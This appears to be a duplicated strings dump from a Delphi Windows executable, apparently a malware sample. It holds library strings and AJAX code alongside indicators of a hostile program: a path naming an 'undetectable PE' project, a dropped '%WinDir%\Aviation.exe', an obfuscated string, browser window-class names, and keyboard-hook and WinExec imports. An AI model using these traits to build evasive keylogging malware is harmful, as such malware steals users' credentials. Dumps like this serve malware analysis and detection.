clWebPlum
clWebPlum
clWebThistle
clWebThistle
clWebHotPink
clWebHotPink
clWebPink
clWebPink
clWebLightSteelBlue
clWebLightSteelBlue
clWebMediumSlateBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebLightSlateGray
clWebWhite
clWebWhite
clWebLightgrey
clWebLightgrey
clWebGray
clWebGray
clWebSteelBlue
clWebSteelBlue
clWebSlateBlue
clWebSlateBlue
clWebSlateGray
clWebSlateGray
clWebWhiteSmoke
clWebWhiteSmoke
clWebSilver
clWebSilver
clWebDimGray
clWebDimGray
clWebMistyRose
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlateBlue
clWebDarkSlategray
clWebDarkSlategray
clWebGainsboro
clWebGainsboro
clWebDarkGray
clWebDarkGray
clWebBlack
clWebBlack
comctl32.dll
comctl32.dll
TaskDialogIndirect
TaskDialogIndirect
USER32.DLL
USER32.DLL
uxtheme.dll
uxtheme.dll
DWMAPI.DLL
DWMAPI.DLL
%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s
AutoHotkeys$
AutoHotkeys$
AutoHotkeysl
AutoHotkeysl
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
TKeyEvent
TKeyEvent
TKeyPressEvent
TKeyPressEvent
HelpKeyword
HelpKeyword
crSQLWait
crSQLWait
%s (%s)
%s (%s)
imm32.dll
imm32.dll
ssHotTrack
ssHotTrack
TWindowState
TWindowState
poProportional
poProportional
TWMKey
TWMKey
KeyPreviewlF
KeyPreviewlF
WindowStateP
WindowStateP
OnKeyDown
OnKeyDown
OnKeyPress
OnKeyPress
OnKeyUp
OnKeyUp
GlassFrame.Bottom
GlassFrame.Bottom
GlassFrame.Enabled
GlassFrame.Enabled
GlassFrame.Left
GlassFrame.Left
GlassFrame.Right
GlassFrame.Right
GlassFrame.SheetOfGlass
GlassFrame.SheetOfGlass
GlassFrame.Top
GlassFrame.Top
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
User32.dll
User32.dll
OnExecute0
OnExecute0
PasswordChar
PasswordChar
ssHorizontal
ssHorizontal
Proportional
Proportional
TMonochromeLookup
TMonochromeLookup
password
password
Kernel32.dll
Kernel32.dll
WinExec
WinExec
Explorer.exe
Explorer.exe
%s %s
%s %s
(%s%s)
(%s%s)
-%s%s
-%s%s
%s-%s
%s-%s
%s%s-
%s%s-
-%s %s
-%s %s
%s %s-
%s %s-
%s -%s
%s -%s
(%s- %s)
(%s- %s)
(%s %s)
(%s %s)
TSQLTimeStampVariantType
TSQLTimeStampVariantType
TSQLTimeStampData
TSQLTimeStampData
SqlTimSt
SqlTimSt
%s, ClassID: %s
%s, ClassID: %s
ole32.dll
ole32.dll
ftParadoxOle
ftParadoxOle
pfInKey
pfInKey
ImportedConstraint
ImportedConstraint
LookupKeyFields
LookupKeyFields
KeyFields
KeyFields
TSQLTimeStampField
TSQLTimeStampField
TSQLTimeStampFieldd\
TSQLTimeStampFieldd\
SQLTimeStamp
SQLTimeStamp
%s.%s
%s.%s
MAPI32.DLL
MAPI32.DLL
TPasswordDialog
TPasswordDialog
Password
Password
TLoginDialog
TLoginDialog
9#8#7#6#5#4#3#1#/#.#-# #
9#8#7#6#5#4#3#1#/#.#-# #
TPasswordEvent
TPasswordEvent
SQLHourGlass
SQLHourGlass
OnPasswordT
OnPasswordT
TDatabaseLoginEvent
TDatabaseLoginEvent
LoginParams
LoginParams
LoginPrompt`
LoginPrompt`
OnLogin
OnLogin
%s%s:"%s";
%s%s:"%s";
\DATABASES\%s\DB INFO
\DATABASES\%s\DB INFO
\DATABASES\%s\DB OPEN
\DATABASES\%s\DB OPEN
%s=%s
%s=%s
\DRIVERS\%s\DB OPEN
\DRIVERS\%s\DB OPEN
\DATABASES\%s
\DATABASES\%s
PASSWORD
PASSWORD
No valid DataSource: %s
No valid DataSource: %s
3D effect percent must be between %d and %d
3D effect percent must be between %d and %d
%s of %s
%s of %s
of %s
of %s
##0.## %
##0.## %
#,##0.###
#,##0.###
Series.ParentChart is not myself!
Series.ParentChart is not myself!
Keyboards
Keyboards
Editing %s
Editing %s
E&xport Chart...
E&xport Chart...
%s: Invalid Editor Class: %s
%s: Invalid Editor Class: %s
%s: has no Editor Dialog
%s: has no Editor Dialog
Delete %s ?
Delete %s ?
Desired %s Increment
Desired %s Increment
Incorrect value. Reason: %s
Incorrect value. Reason: %s
QReport
QReport
Field %s does not exist
Field %s does not exist
Calculate %s every:
Calculate %s every:
Page %d of %d
Page %d of %d
%d bytes
%d bytes
Bitmaps (*.bmp)|*.bmp
Bitmaps (*.bmp)|*.bmp
Enhanced Metafiles (*.emf)|*.emf|Metafiles (*.wmf)|*.wmf
Enhanced Metafiles (*.emf)|*.emf|Metafiles (*.wmf)|*.wmf
Panel property is not set in Export format
Panel property is not set in Export format
Vert.Line
Vert.Line
Horiz.Line
Horiz.Line
Diag.Cross
Diag.Cross
Can not email TeeChart. Mapi Error: %d
Can not email TeeChart. Mapi Error: %d
Series Delete: ValueIndex %d out of bounds (0 to %d).
Series Delete: ValueIndex %d out of bounds (0 to %d).
Error code: %d downloading Chart from URL: %s
Error code: %d downloading Chart from URL: %s
Error code: %d downloading Series data from URL: %s
Error code: %d downloading Series data from URL: %s
JPEG files (*.jpg)|*.jpg
JPEG files (*.jpg)|*.jpg
GIF files (*.gif)|*.gif
GIF files (*.gif)|*.gif
PNG files (*.png)|*.png
PNG files (*.png)|*.png
PCX files (*.pcx)|*.pcx
PCX files (*.pcx)|*.pcx
VML files (*.htm)|*.htm
VML files (*.htm)|*.htm
Do you want to save %s?
Do you want to save %s?
PDF files (*.pdf)|*.pdf
PDF files (*.pdf)|*.pdf
PostScript files (*.eps)|*.eps
PostScript files (*.eps)|*.eps
Space delimited text files (*.txt)|*.txt
Space delimited text files (*.txt)|*.txt
Tab delimited text files (*.txt)|*.txt
Tab delimited text files (*.txt)|*.txt
Comma delimited text files (*.csv)|*.csv
Comma delimited text files (*.csv)|*.csv
Colon delimited text files (*.txt)|*.txt
Colon delimited text files (*.txt)|*.txt
Custom delimited text files (*.txt)|*.txt
Custom delimited text files (*.txt)|*.txt
XML files (*.xml)|*.xml
XML files (*.xml)|*.xml
HTML files (*.htm)|*.htm
HTML files (*.htm)|*.htm
Microsoft Excel files (*.xls)|*.xls
Microsoft Excel files (*.xls)|*.xls
SVG files (*.svg)|*.svg
SVG files (*.svg)|*.svg
msimg32.dll
msimg32.dll
gdi32.dll
gdi32.dll
olepro32.dll
olepro32.dll
OnExecutepN
OnExecutepN
AutoHotKeys
AutoHotKeys
ActionClientItem%d
ActionClientItem%d
%s, %.2d %s %.4d %s %s
%s, %.2d %s %.4d %s %s
EIdCanNotBindPortInRange
EIdCanNotBindPortInRange
EIdInvalidPortRange
EIdInvalidPortRange
getservbyport
getservbyport
WSAAsyncGetServByPort
WSAAsyncGetServByPort
WSAJoinLeaf
WSAJoinLeaf
WS2_32.DLL
WS2_32.DLL
Wship6.dll
Wship6.dll
EIdIPVersionUnsupportedU
EIdIPVersionUnsupportedU
TIdSocketListWindows
TIdSocketListWindows
TIdStackWindowsU
TIdStackWindowsU
IdStackWindows
IdStackWindows
127.0.0.1
127.0.0.1
ftpTransfer
ftpTransfer
ftpReady
ftpReady
ftpAborted
ftpAborted
ClientPortMinl
ClientPortMinl
ClientPortMax
ClientPortMax
PortSVW
PortSVW
EIdPortRequired8
EIdPortRequired8
EIdTCPConnectionError
EIdTCPConnectionError
EIdObjectTypeNotSupported
EIdObjectTypeNotSupported
Portl
Portl
"EIdTransparentProxyUDPNotSupported
"EIdTransparentProxyUDPNotSupported
TIdTCPClientCustom
TIdTCPClientCustom
TIdTCPClientCustom`
TIdTCPClientCustom`
IdTCPClient
IdTCPClient
TIdTCPClient
TIdTCPClient
BoundPortl
BoundPortl
%EIdSocksUDPNotSupportedBySOCKSVersion
%EIdSocksUDPNotSupportedBySOCKSVersion
saUsernamePassword
saUsernamePassword
Passwordl
Passwordl
PortT
PortT
0.0.0.1
0.0.0.1
0.0.0.0
0.0.0.0
DefaultPortT
DefaultPortT
TIdTCPConnection
TIdTCPConnection
TIdTCPConnection
TIdTCPConnection
IdTCPConnection
IdTCPConnection
ISO_646.irv:1991
ISO_646.irv:1991
ISO_646.basic:1983
ISO_646.basic:1983
ISO_646.irv:1983
ISO_646.irv:1983
csISO16Portuguese
csISO16Portuguese
csISO84Portuguese2
csISO84Portuguese2
windows-936
windows-936
csShiftJIS
csShiftJIS
ISO-8859-1-Windows-3.0-Latin-1
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
csWindows31Latin5
csMicrosoftPublishing
csMicrosoftPublishing
Windows-31J
Windows-31J
csWindows31J
csWindows31J
windows-1250
windows-1250
windows-1251
windows-1251
windows-1252
windows-1252
windows-1253
windows-1253
windows-1254
windows-1254
windows-1255
windows-1255
windows-1256
windows-1256
windows-1257
windows-1257
windows-1258
windows-1258
*#% []
*#% []
CommentURL
CommentURL
Port
Port
IdHTTPHeaderInfo
IdHTTPHeaderInfo
ProxyPasswordl
ProxyPasswordl
ProxyPort
ProxyPort
Mozilla/3.0 (compatible; Indy Library)
Mozilla/3.0 (compatible; Indy Library)
%d%s%d
%d%s%d
TIdHTTPOption
TIdHTTPOption
IdHTTP
IdHTTP
TIdHTTPOptions
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPProtocolVersion
TIdHTTPOnRedirectEvent
TIdHTTPOnRedirectEvent
TIdHTTPOnHeadersAvailable
TIdHTTPOnHeadersAvailable
TIdHTTPResponse
TIdHTTPResponse
TIdHTTPRequest
TIdHTTPRequest
TIdHTTPProtocol
TIdHTTPProtocol
TIdCustomHTTP
TIdCustomHTTP
TIdHTTP
TIdHTTP
HTTPOptionsp#
HTTPOptionsp#
EIdHTTPProtocolException
EIdHTTPProtocolException
application/x-www-form-urlencoded
application/x-www-form-urlencoded
HTTPS
HTTPS
https
https
HTTP/1.0 200 OK
HTTP/1.0 200 OK
HTTP/
HTTP/
CoShellWindows
CoShellWindows
OnExecuteMacro
OnExecuteMacro
Service %s
Service %s
Topic %s
Topic %s
0123456789
0123456789
HBO.exe internacional
HBO.exe internacional
rpcrt4.dll
rpcrt4.dll
Windows Vista
Windows Vista
^atcp
^atcp
C:\projects\Pe indetectavel D2007\UFunc.pas
C:\projects\Pe indetectavel D2007\UFunc.pas
1.2.3
1.2.3
Edit4KeyPress
Edit4KeyPress
Edit1KeyPress
Edit1KeyPress
Edit3KeyPress
Edit3KeyPress
tcpup?
tcpup?
pbtvdcp?gxpsra?r~|>sra>^atcprx~
pbtvdcp?gxpsra?r~|>sra>^atcprx~
n%D,3
n%D,3
mozillawindowclass
mozillawindowclass
mozilladropshadowwindowclass
mozilladropshadowwindowclass
Idhttp1
Idhttp1
%d.%d.%d.%d
%d.%d.%d.%d
13.0.0.0
13.0.0.0
Portable Network Graphics
Portable Network Graphics
idapi32.DLL
idapi32.DLL
IDAPI32.DLL
IDAPI32.DLL
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%WinDir%\Aviation.exe
%WinDir%\Aviation.exe
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
KERNEL32.DLL
KERNEL32.DLL
advapi32.dll
advapi32.dll
oleacc.dll
oleacc.dll
shell32.dll
shell32.dll
user32.dll
user32.dll
version.dll
version.dll
winmm.dll
winmm.dll
GetWindowsDirectoryA
GetWindowsDirectoryA
GetCPInfo
GetCPInfo
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegOpenKeyA
RegOpenKeyA
RegFlushKey
RegFlushKey
RegCreateKeyExA
RegCreateKeyExA
SetViewportOrgEx
SetViewportOrgEx
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
MapVirtualKeyA
MapVirtualKeyA
LoadKeyboardLayoutA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardState
GetKeyboardLayoutNameA
GetKeyboardLayoutNameA
GetKeyboardLayoutList
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyboardLayout
GetKeyState
GetKeyState
GetKeyNameTextA
GetKeyNameTextA
EnumWindows
EnumWindows
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
ActivateKeyboardLayout
ActivateKeyboardLayout
GetKeyboardType
GetKeyboardType
ExitWindowsEx
ExitWindowsEx
333333333333333333
333333333333333333
33333833
33333833
3333339
3333339
3333333333333338
3333333333333338
:*"*"$3338
:*"*"$3338
3333333
3333333
33333333
33333333
33333333333
33333333333
3333333333338
3333333333338
33338?383
33338?383
333333333333
333333333333
:*3:"$3338
:*3:"$3338
333333333333333
333333333333333
33333333333333
33333333333333
337373?3
337373?3
333373?33
333373?33
33333337
33333337
3733333
3733333
3337333
3337333
3333373
3333373
3737333
3737333
373333?3
373333?3
3333333333
3333333333
333333333
333333333
333?33?333
333?33?333
333373?3
333373?3
the case, please report the error message to the administrator.
the case, please report the error message to the administrator.
{%CONTENT%}
{%CONTENT%}
;t_clear.gif
;t_clear.gif
req.timeout =null;
req.timeout =null;
req.generateUniqueUrl =true;
req.generateUniqueUrl =true;
req.url =window.location.href;
req.url =window.location.href;
req.method ="GET";
req.method ="GET";
req.async =true;
req.async =true;
req.username =null;
req.username =null;
req.password =null;
req.password =null;
req.parameters =new Object();
req.parameters =new Object();
req.requestIndex =AjaxRequest.numAjaxRequests ;
req.requestIndex =AjaxRequest.numAjaxRequests ;
req.responseReceived =false;
req.responseReceived =false;
req.groupName =null;
req.groupName =null;
req.queryString ="";
req.queryString ="";
req.responseText =null;
req.responseText =null;
req.responseXML =null;
req.responseXML =null;
req.status =null;
req.status =null;
req.statusText =null;
req.statusText =null;
req.aborted =false;
req.aborted =false;
req.xmlHttpRequest =null;
req.xmlHttpRequest =null;
req.onTimeout=null;
req.onTimeout=null;
req.onLoading=null;
req.onLoading=null;
req.onLoaded=null;
req.onLoaded=null;
req.onInteractive=null;
req.onInteractive=null;
req.onComplete=null;
req.onComplete=null;
req.onSuccess=null;
req.onSuccess=null;
req.onError=null;
req.onError=null;
req.onGroupBegin=null;
req.onGroupBegin=null;
req.onGroupEnd=null;
req.onGroupEnd=null;
req.xmlHttpRequest =AjaxRequest.getXmlHttpRequest();
req.xmlHttpRequest =AjaxRequest.getXmlHttpRequest();
if(req.xmlHttpRequest==null) {
if(req.xmlHttpRequest==null) {
req.xmlHttpRequest.onreadystatechange = function(){
req.xmlHttpRequest.onreadystatechange = function(){
if(req==null || req.xmlHttpRequest==null){
if(req==null || req.xmlHttpRequest==null){
if(req.xmlHttpRequest.readyState==1){
if(req.xmlHttpRequest.readyState==1){
req.onLoadingInternal(req);
req.onLoadingInternal(req);
if(req.xmlHttpRequest.readyState==2){
if(req.xmlHttpRequest.readyState==2){
req.onLoadedInternal(req);
req.onLoadedInternal(req);
if(req.xmlHttpRequest.readyState==3){
if(req.xmlHttpRequest.readyState==3){
req.onInteractiveInternal(req);
req.onInteractiveInternal(req);
if(req.xmlHttpRequest.readyState==4){
if(req.xmlHttpRequest.readyState==4){
req.onCompleteInternal(req);
req.onCompleteInternal(req);
req.onLoadingInternalHandled=false;
req.onLoadingInternalHandled=false;
req.onLoadedInternalHandled=false;
req.onLoadedInternalHandled=false;
req.onInteractiveInternalHandled=false;
req.onInteractiveInternalHandled=false;
req.onCompleteInternalHandled=false;
req.onCompleteInternalHandled=false;
req.onLoadingInternal= function(){
req.onLoadingInternal= function(){
if(req.onLoadingInternalHandled){
if(req.onLoadingInternalHandled){
AjaxRequest.numActiveAjaxRequests ;
AjaxRequest.numActiveAjaxRequests ;
if(AjaxRequest.numActiveAjaxRequests==1 && typeof(window['AjaxRequestBegin'])=="function"){
if(AjaxRequest.numActiveAjaxRequests==1 && typeof(window['AjaxRequestBegin'])=="function"){
if(req.groupName!=null){
if(req.groupName!=null){
if(typeof(AjaxRequest.numActiveAjaxGroupRequests[req.groupName])=="undefined"){
if(typeof(AjaxRequest.numActiveAjaxGroupRequests[req.groupName])=="undefined"){
AjaxRequest.numActiveAjaxGroupRequests[req.groupName] =0;
AjaxRequest.numActiveAjaxGroupRequests[req.groupName] =0;
AjaxRequest.numActiveAjaxGroupRequests[req.groupName] ;
AjaxRequest.numActiveAjaxGroupRequests[req.groupName] ;
if(AjaxRequest.numActiveAjaxGroupRequests[req.groupName]==1 && typeof(req.onGroupBegin)=="function"){
if(AjaxRequest.numActiveAjaxGroupRequests[req.groupName]==1 && typeof(req.onGroupBegin)=="function"){
req.onGroupBegin(req.groupName);
req.onGroupBegin(req.groupName);
if(typeof(req.onLoading)=="function"){
if(typeof(req.onLoading)=="function"){
req.onLoading(req);
req.onLoading(req);
req.onLoadingInternalHandled=true;
req.onLoadingInternalHandled=true;
req.onLoadedInternal=function(){
req.onLoadedInternal=function(){
if(req.onLoadedInternalHandled){
if(req.onLoadedInternalHandled){
if(typeof(req.onLoaded)=="function"){
if(typeof(req.onLoaded)=="function"){
req.onLoaded(req);
req.onLoaded(req);
req.onLoadedInternalHandled=true;
req.onLoadedInternalHandled=true;
req.onInteractiveInternal= function(){
req.onInteractiveInternal= function(){
if(req.onInteractiveInternalHandled){
if(req.onInteractiveInternalHandled){
if(typeof(req.onInteractive)=="function"){
if(typeof(req.onInteractive)=="function"){
req.onInteractive(req);
req.onInteractive(req);
req.onInteractiveInternalHandled=true;
req.onInteractiveInternalHandled=true;
req.onCompleteInternal= function(){
req.onCompleteInternal= function(){
if(req.onCompleteInternalHandled || req.aborted){
if(req.onCompleteInternalHandled || req.aborted){
req.onCompleteInternalHandled=true;
req.onCompleteInternalHandled=true;
AjaxRequest.numActiveAjaxRequests--;
AjaxRequest.numActiveAjaxRequests--;
if(AjaxRequest.numActiveAjaxRequests==0 && typeof(window['AjaxRequestEnd'])=="function"){
if(AjaxRequest.numActiveAjaxRequests==0 && typeof(window['AjaxRequestEnd'])=="function"){
AjaxRequestEnd(req.groupName);
AjaxRequestEnd(req.groupName);
AjaxRequest.numActiveAjaxGroupRequests[req.groupName]--;
AjaxRequest.numActiveAjaxGroupRequests[req.groupName]--;
if(AjaxRequest.numActiveAjaxGroupRequests[req.groupName]==0 && typeof(req.onGroupEnd)=="function"){
if(AjaxRequest.numActiveAjaxGroupRequests[req.groupName]==0 && typeof(req.onGroupEnd)=="function"){
req.onGroupEnd(req.groupName);
req.onGroupEnd(req.groupName);
req.responseReceived =true;
req.responseReceived =true;
req.status =req.xmlHttpRequest.status;
req.status =req.xmlHttpRequest.status;
req.statusText =req.xmlHttpRequest.statusText;
req.statusText =req.xmlHttpRequest.statusText;
req.responseText =req.xmlHttpRequest.responseText;
req.responseText =req.xmlHttpRequest.responseText;
req.responseXML =req.xmlHttpRequest.responseXML;
req.responseXML =req.xmlHttpRequest.responseXML;
if(typeof(req.onComplete)=="function"){
if(typeof(req.onComplete)=="function"){
req.onComplete(req);
req.onComplete(req);
if(req.xmlHttpRequest.status==200 && typeof(req.onSuccess)=="function"){
if(req.xmlHttpRequest.status==200 && typeof(req.onSuccess)=="function"){
req.onSuccess(req);
req.onSuccess(req);
if(typeof(req.onError)=="function"){
if(typeof(req.onError)=="function"){
req.onError(req);
req.onError(req);
delete req.xmlHttpRequest['onreadystatechange'];
delete req.xmlHttpRequest['onreadystatechange'];
req.onTimeoutInternal= function(){
req.onTimeoutInternal= function(){
if(req!=null && req.xmlHttpRequest!=null && !req.onCompleteInternalHandled){
if(req!=null && req.xmlHttpRequest!=null && !req.onCompleteInternalHandled){
req.aborted =true;
req.aborted =true;
req.xmlHttpRequest.abort();
req.xmlHttpRequest.abort();
if(typeof(req.onTimeout)=="function"){
if(typeof(req.onTimeout)=="function"){
req.onTimeout(req);
req.onTimeout(req);
req.process = function(){
req.process = function(){
if(req.xmlHttpRequest!=null){
if(req.xmlHttpRequest!=null){
if(req.generateUniqueUrl && req.method=="GET"){
if(req.generateUniqueUrl && req.method=="GET"){
req.parameters["AjaxRequestUniqueId"] =new Date().getTime() "" req.requestIndex;
req.parameters["AjaxRequestUniqueId"] =new Date().getTime() "" req.requestIndex;
for(var i in req.parameters){
for(var i in req.parameters){
if(req.queryString.length>0){
if(req.queryString.length>0){
req.queryString ="&";
req.queryString ="&";
req.queryString =encodeURIComponent(i) "=" encodeURIComponent(req.parameters[i]);
req.queryString =encodeURIComponent(i) "=" encodeURIComponent(req.parameters[i]);
if(req.method=="GET"){
if(req.method=="GET"){
req.url =((req.url.indexOf("?")>-1)?"&":"?") req.queryString;
req.url =((req.url.indexOf("?")>-1)?"&":"?") req.queryString;
req.xmlHttpRequest.open(req.method,req.url,req.async,req.username,req.password);
req.xmlHttpRequest.open(req.method,req.url,req.async,req.username,req.password);
if(req.method=="POST"){
if(req.method=="POST"){
if(typeof(req.xmlHttpRequest.setRequestHeader)!="undefined"){
if(typeof(req.xmlHttpRequest.setRequestHeader)!="undefined"){
req.xmlHttpRequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.xmlHttpRequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
content =req.queryString;
content =req.queryString;
if(req.timeout>0){
if(req.timeout>0){
setTimeout(req.onTimeoutInternal,req.timeout);
setTimeout(req.onTimeoutInternal,req.timeout);
req.xmlHttpRequest.send(content);
req.xmlHttpRequest.send(content);
req.handleArguments = function(args){
req.handleArguments = function(args){
req.parameters[i] =args[i];
req.parameters[i] =args[i];
req.getAllResponseHeaders = function(){if(req.xmlHttpRequest!=null){if(req.responseReceived){return req.xmlHttpRequest.getAllResponseHeaders();}debugAlert("Cannot getAllResponseHeaders because a response has not yet been received");}};
req.getAllResponseHeaders = function(){if(req.xmlHttpRequest!=null){if(req.responseReceived){return req.xmlHttpRequest.getAllResponseHeaders();}debugAlert("Cannot getAllResponseHeaders because a response has not yet been received");}};
req.getResponseHeader = function(headerName){
req.getResponseHeader = function(headerName){
if(req.responseReceived){
if(req.responseReceived){
return req.xmlHttpRequest.getResponseHeader(headerName);
return req.xmlHttpRequest.getResponseHeader(headerName);
AjaxRequest.getXmlHttpRequest=function(){
AjaxRequest.getXmlHttpRequest=function(){
if(window.XMLHttpRequest){
if(window.XMLHttpRequest){
return new XMLHttpRequest();
return new XMLHttpRequest();
if(window.ActiveXObject){/*@cc_on @*/
if(window.ActiveXObject){/*@cc_on @*/
try{return new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{return new ActiveXObject("Microsoft.XMLHTTP");}catch(E){return null;}}@end @*/
try{return new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{return new ActiveXObject("Microsoft.XMLHTTP");}catch(E){return null;}}@end @*/
AjaxRequest.isActive =function(){
AjaxRequest.isActive =function(){
return(AjaxRequest.numActiveAjaxRequests>0);
return(AjaxRequest.numActiveAjaxRequests>0);
AjaxRequest.get=function(args){
AjaxRequest.get=function(args){
AjaxRequest.doRequest("GET",args);
AjaxRequest.doRequest("GET",args);
AjaxRequest.post=function(args){
AjaxRequest.post=function(args){
AjaxRequest.doRequest("POST",args);
AjaxRequest.doRequest("POST",args);
AjaxRequest.doRequest =function(method,args){
AjaxRequest.doRequest =function(method,args){
myRequest.method =method;
myRequest.method =method;
myRequest.handleArguments(args);
myRequest.handleArguments(args);
myRequest.process();
myRequest.process();
AjaxRequest.submit = function(theform, args){
AjaxRequest.submit = function(theform, args){
var serializedForm =AjaxRequest.serializeForm(theform);
var serializedForm =AjaxRequest.serializeForm(theform);
myRequest.method =theform.method.toUpperCase();
myRequest.method =theform.method.toUpperCase();
myRequest.url =theform.action;
myRequest.url =theform.action;
myRequest.queryString =serializedForm;
myRequest.queryString =serializedForm;
AjaxRequest.serializeForm=function(theform){
AjaxRequest.serializeForm=function(theform){
var els =theform.elements;
var els =theform.elements;
var len =els.length;
var len =els.length;
this.addField = function(name,value){
this.addField = function(name,value){
if(queryString.length>0){
if(queryString.length>0){
if(!el.disabled){
if(!el.disabled){
switch(el.type){
switch(el.type){
case 'password':
case 'password':
this.addField(el.name,el.value);
this.addField(el.name,el.value);
if(el.selectedIndex>=0){
if(el.selectedIndex>=0){
this.addField(el.name,el.options[el.selectedIndex].value);
this.addField(el.name,el.options[el.selectedIndex].value);
for(var j=0;j
for(var j=0;j
if(el.options[j].selected){
if(el.options[j].selected){
this.addField(el.name,el.options[j].value);
this.addField(el.name,el.options[j].value);
if(el.checked){
if(el.checked){
AjaxRequest.numActiveAjaxRequests =0;
AjaxRequest.numActiveAjaxRequests =0;
AjaxRequest.numActiveAjaxGroupRequests =new Object();
AjaxRequest.numActiveAjaxGroupRequests =new Object();
AjaxRequest.numAjaxRequests =0;
AjaxRequest.numAjaxRequests =0;
var xSubmitForm = getSubmitForm().cloneNode(true);
var xSubmitForm = getSubmitForm().cloneNode(true);
for (j=xSubmitForm.elements.length-1;j>=0;j--) {
for (j=xSubmitForm.elements.length-1;j>=0;j--) {
var name=xSubmitForm.elements[j].name;
var name=xSubmitForm.elements[j].name;
xSubmitForm.removeChild(xSubmitForm.elements[j])
xSubmitForm.removeChild(xSubmitForm.elements[j])
for (j = 0; j
for (j = 0; j
AItem = LocateInputElement(xSubmitForm.elements[j].name, xSubmitForm, ProcessElement);
AItem = LocateInputElement(xSubmitForm.elements[j].name, xSubmitForm, ProcessElement);
if (aSender != null && AItem != null && AItem.name == aSender.name) {
if (aSender != null && AItem != null && AItem.name == aSender.name) {
gSentValue = AItem.value;
gSentValue = AItem.value;
gSenderName = aSender.name;
gSenderName = aSender.name;
xSubmitForm.elements.IW_Action.value=aSender.name;
xSubmitForm.elements.IW_Action.value=aSender.name;
return (lEvent.altKey ? "ALT_MASK," : "") (lEvent.ctrlKey ? "CTRL_MASK," : "") (lEvent.metaKey ? "META_MASK," : "") (lEvent.shiftKey ? "SHIFT_MASK" : "");
return (lEvent.altKey ? "ALT_MASK," : "") (lEvent.ctrlKey ? "CTRL_MASK," : "") (lEvent.metaKey ? "META_MASK," : "") (lEvent.shiftKey ? "SHIFT_MASK" : "");
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY "&which=" lEvent.button "&modifiers=" modifiers(lEvent);
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY "&which=" lEvent.button "&modifiers=" modifiers(lEvent);
return "&x=" lEvent.layerX "&y=" lEvent.layerY "&which=" lEvent.which "&modifiers=" modifiers(lEvent);
return "&x=" lEvent.layerX "&y=" lEvent.layerY "&which=" lEvent.which "&modifiers=" modifiers(lEvent);
function(lEvent) { // "keydown"
function(lEvent) { // "keydown"
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY "&which=" lEvent.keyCode "&modifiers=" modifiers(lEvent);
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY "&which=" lEvent.keyCode "&modifiers=" modifiers(lEvent);
function(lEvent) { // "keypress"
function(lEvent) { // "keypress"
function(lEvent) { // "keyup"
function(lEvent) { // "keyup"
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY;
return "&x=" lEvent.offsetX "&y=" lEvent.offsetY;
return "&x=" lEvent.layerX "&y=" lEvent.layerY;
return "&x=" lEvent.layerX "&y=" lEvent.layerY;
function constructEventURL(lEvent)
function constructEventURL(lEvent)
for (j=0; j
for (j=0; j
if (eventList[j] == lEvent.type) {
if (eventList[j] == lEvent.type) {
eventName = lEvent.type;
eventName = lEvent.type;
var url = "";
var url = "";
url = eventFunction(lEvent);
url = eventFunction(lEvent);
return url;
return url;
var aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback;
var aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback;
window.ChangedControls = "";
window.ChangedControls = "";
xSubmitForm.action = aURL eventParams;
xSubmitForm.action = aURL eventParams;
var status = AjaxRequest.submit(
var status = AjaxRequest.submit(
xmldoc = loadAjaxResponse(req.responseText);
xmldoc = loadAjaxResponse(req.responseText);
window.eventProcessing = false;
window.eventProcessing = false;
if (req.responseText == "") {
if (req.responseText == "") {
window.serverProblem = true;
window.serverProblem = true;
debugAlert('Ajax-Error!\nStatusText=' req.statusText '\nContents=' req.responseText);
debugAlert('Ajax-Error!\nStatusText=' req.statusText '\nContents=' req.responseText);
window.serverProblem = false
window.serverProblem = false
var indexOf = window.ChangedControls.indexOf(controlName ",");
var indexOf = window.ChangedControls.indexOf(controlName ",");
var lEvent = event ? event : window.event;
var lEvent = event ? event : window.event;
var target = lEvent.srcElement ? lEvent.srcElement : lEvent.target;
var target = lEvent.srcElement ? lEvent.srcElement : lEvent.target;
while (target.id == "") {
while (target.id == "") {
if (ie4 || opera_browser) {
if (ie4 || opera_browser) {
target = target.parentElement;
target = target.parentElement;
target = target.parentNode;
target = target.parentNode;
var controlName = target.id;
var controlName = target.id;
window.ChangedControls = controlName ",";
window.ChangedControls = controlName ",";
var logElement = FindElem("INTRAWEBLOGMEMO");
var logElement = FindElem("INTRAWEBLOGMEMO");
if (logElement.childNodes.length > 50) {
if (logElement.childNodes.length > 50) {
logElement.innerHTML = aMessage "
";
logElement.innerHTML = aMessage "
";
logElement.innerHTML = aMessage "
";
